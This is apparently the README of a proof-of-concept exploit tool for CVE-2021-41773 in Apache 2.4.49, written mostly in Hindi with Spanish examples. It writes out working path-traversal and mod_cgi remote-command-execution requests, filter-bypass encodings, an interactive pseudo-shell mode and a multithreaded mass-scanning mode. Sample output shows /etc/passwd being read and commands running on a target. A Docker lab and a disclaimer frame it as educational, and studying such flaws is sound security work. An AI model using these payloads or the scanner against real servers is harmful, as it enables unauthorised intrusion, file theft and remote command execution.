
CVE-2021-41773 का प्रूफ ऑफ कॉन्सेप्ट
केवल नियंत्रित और स्वयं के वातावरणों में उपयोग के लिए। अनधिकृत सिस्टमों के विरुद्ध उपयोग न करें।
Apache HTTP Server 2.4.49 में मौजूद CVE-2021-41773 कमज़ोरी को प्रदर्शित करने और समझने के लिए विकसित किया गया PoC।
यह दोष ap_normalize_path() फ़ंक्शन में है, जो URL-एन्कोडेड वर्णों को सही ढंग से मान्य नहीं करता था। इससे एक हमलावर एन्कोडेड वर्णों के अनुक्रम (../ के बजाय %2e%2e%2f) के माध्यम से DocumentRoot से बाहर निकल सकता था और सिस्टम की मनमानी फ़ाइलें पढ़ सकता था।
जब mod_cgi मॉड्यूल सक्षम था, तो यह कमज़ोरी RCE (Remote Code Execution) तक बढ़ जाती थी, जिससे Apache प्रक्रिया की अनुमतियों के साथ सर्वर पर सीधे कमांड निष्पादित करना संभव हो जाता था।
सर्वर को कमज़ोर होने के लिए ये सभी शर्तें पूरी करनी होंगी:
| शर्त | विवरण |
|---|---|
| Apache का संस्करण | ठीक 2.4.49 |
| एक्सेस निर्देश | कॉन्फ़िगरेशन में Require all granted |
| CGI मॉड्यूल | mod_cgi सक्षम (केवल RCE के लिए) |
Apache 2.4.49 पारंपरिक ../ को फ़िल्टर करता था, लेकिन उसके URL-एन्कोडेड संस्करण को नहीं। हमलावर एक ऐसा पथ बनाता है जिसे फ़िल्टर नहीं पहचानता, लेकिन ऑपरेटिंग सिस्टम उसे सही ढंग से व्याख्यायित करता है:
GET /cgi-bin/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fetc/passwd
%2e%2e%2f ../ का URL एन्कोडिंग है। Apache इसे पास होने देता था, OS इसे रिज़ॉल्व करता था, और परिणाम वेब डायरेक्टरी के बाहर फ़ाइलों तक पहुँच था।
mod_cgi सक्रिय होने पर, path traversal का उपयोग किसी फ़ाइल के बजाय /bin/sh को इंगित करने के लिए किया जाता है। Apache इसे CGI स्क्रिप्ट के रूप में मानता है और इसे निष्पादित करता है। कमांड POST के body में एक न्यूनतम शेल स्क्रिप्ट के रूप में यात्रा करता है:
POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh
Content-Type: application/x-www-form-urlencoded
echo 'Content-Type: text/plain'; echo; id 2>&1
कमांड का आउटपुट HTTP प्रतिक्रिया में आता है।
रिपॉज़िटरी में setup/ में भेद्यता को पुनरुत्पादित करने के लिए तैयार एक परिवेश शामिल है:
cd setup
docker compose up -d
यह पोर्ट 8080 पर Apache 2.4.49 को कमजोर कॉन्फ़िगरेशन (Require all granted + mod_cgi सक्षम) के साथ लॉन्च करता है। लैब की फ़ाइलें:
| फ़ाइल | विवरण |
|---|---|
setup/docker-compose.yml | Apache 2.4.49 वाला कंटेनर |
setup/httpd.conf | Apache का कमजोर कॉन्फ़िगरेशन |
उपयोग की गई कॉन्फ़िगरेशन फ़ाइलें setup/ में हैं।
requests के बजाय urllib3 क्यों?
requests भेजने से पहले path के अक्षरों को स्वचालित रूप से फिर से एन्कोड करता है।
इससे payload टूट जाता है क्योंकि सर्वर %2e के बजाय %252e प्राप्त करता है।
urllib3 path को बिना संशोधन के भेजने की अनुमति देता है।
%2e%2e/ के बजाय .%2e/ क्यों?
Apache mod_rewrite मॉड्यूल में %2e%2e/ को फ़िल्टर करता है।
.%2e/ संस्करण अर्थ की दृष्टि से समतुल्य है लेकिन फ़िल्टर से गुज़र जाता है,
क्योंकि path का सामान्यीकरण सत्यापन के बाद होता है।
mod_cgi मॉड्यूल सक्षम होना चाहिए।
इसके बिना, केवल path traversal संभव है।python PoC_2021-41773.py --target <URL> --mode <modo> [opciones]
python PoC_2021-41773.py --input-file <archivo> --mode check [--threads N] [--output resultados.json]
| आर्ग्युमेंट | आवश्यक | विवरण |
|---|---|---|
--target | हाँ* | सर्वर का बेस URL (उदा: http://localhost:8080) |
--input-file / -iF | हाँ* | टार्गेट की सूची वाली फ़ाइल (प्रति पंक्ति एक) |
--mode | हाँ | ऑपरेशन मोड (नीचे तालिका देखें) |
--cmd | नहीं | rce मोड में निष्पादित करने के लिए कमांड (डिफ़ॉल्ट: id) |
--file | नहीं | traversal मोड में पढ़ने के लिए फ़ाइल (डिफ़ॉल्ट: /etc/passwd) |
--threads / -t | नहीं | बड़े पैमाने पर स्कैनिंग के लिए थ्रेड्स (डिफ़ॉल्ट: 10, केवल --input-file के साथ) |
--output / -o | नहीं | परिणामों को JSON में निर्यात करें (केवल --input-file के साथ) |
* --target और --input-file परस्पर अनन्य हैं — इनमें से एक का उपयोग किया जाता है।
| मोड | विवरण |
|---|---|
check | जाँचता है कि टार्गेट कमज़ोर है या नहीं और क्या mod_cgi सक्षम है, बिना संवेदनशील डेटा निकाले |
traversal | path traversal के माध्यम से सिस्टम की एक मनमानी फ़ाइल पढ़ता है |
rce | mod_cgi के माध्यम से सर्वर पर एक व्यक्तिगत कमांड निष्पादित करता है |
shell | श्रृंखलाबद्ध रूप से RCE कमांड निष्पादित करने के लिए इंटरैक्टिव स्यूडो-शेल |
# Verificar si el servidor es vulnerable
python PoC_2021-41773.py --target http://localhost:8080 --mode check
# Leer /etc/passwd del servidor
python PoC_2021-41773.py --target http://localhost:8080 --mode traversal
# Leer un archivo específico
python PoC_2021-41773.py --target http://localhost:8080 --mode traversal --file /etc/hosts
# Ejecutar un comando
python PoC_2021-41773.py --target http://localhost:8080 --mode rce --cmd whoami
# Abrir un pseudo-shell interactivo
python PoC_2021-41773.py --target http://localhost:8080 --mode shell
# Escaneo masivo con exportación a JSON
python PoC_2021-41773.py -iF targets.txt --mode check -t 20 -o results.json
───────────────────────────────────────────────────────
CVE-2021-41773 — Apache 2.4.49 Path Traversal + RCE
PoC con fines educativos y profesionales
───────────────────────────────────────────────────────
[*] Modo: Check de vulnerabilidad
[*] Objetivo: http://localhost:8080
[*] Probando traversal contra /etc/hostname...
[*] Header Server: Apache/2.4.49 (Unix)
[+] VULNERABLE — el servidor devolvió /etc/hostname
Hostname: e0d20311f3e6
[+] mod_cgi habilitado — RCE posible
[+] Modo: Path Traversal
[*] Objetivo: http://localhost:8080
[*] Archivo: /etc/passwd
[*] URL: http://localhost:8080/traversal/.%2e/.%2e/.%2e/.%2e/etc/passwd
[*] Enviando request...
[+] Servidor vulnerable — Status 200
──────────────────────────────────────────────────
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
──────────────────────────────────────────────────
[+] Modo: RCE via mod_cgi
[*] Objetivo: http://localhost:8080
[*] Comando: whoami
[*] Enviando request...
[+] RCE confirmado
──────────────────────────────────────────────────
daemon
──────────────────────────────────────────────────
[+] Modo: Shell interactivo via mod_cgi
[*] Objetivo: http://localhost:8080
[*] Verificando RCE...
[+] RCE confirmado — uid=1(daemon) gid=1(daemon) groups=1(daemon)
[*] Escribí 'exit' o 'quit' para salir.
apache> id
uid=1(daemon) gid=1(daemon) groups=1(daemon)
apache> ls /
bin boot dev etc home lib lib64 ...
apache> exit
[*] Cerrando shell.
[*] Cargados 5 targets
[*] Threads: 5
[*] Iniciando escaneo...
[1/5] [+] http://10.0.0.1:8080 — VULNERABLE (RCE)
[2/5] [-] http://10.0.0.2:8080 — no vulnerable
[3/5] [!] http://10.0.0.3:9999 — error de conexión
[4/5] [+] http://10.0.0.4:8080 — VULNERABLE (solo traversal)
[5/5] [!] http://10.0.0.5:1234 — error de conexión
══════════════════════════════════════════════════
Resultados: 5 targets escaneados
Vulnerables: 2 (1 con RCE)
No vulnerables: 1
Errores: 2
Exportado a: results.json
══════════════════════════════════════════════════
JSON फ़ाइल में स्कैन का मेटाडेटा और प्रत्येक लक्ष्य के लिए target, status, server, hostname और rce वाले परिणामों की एक सरणी शामिल है।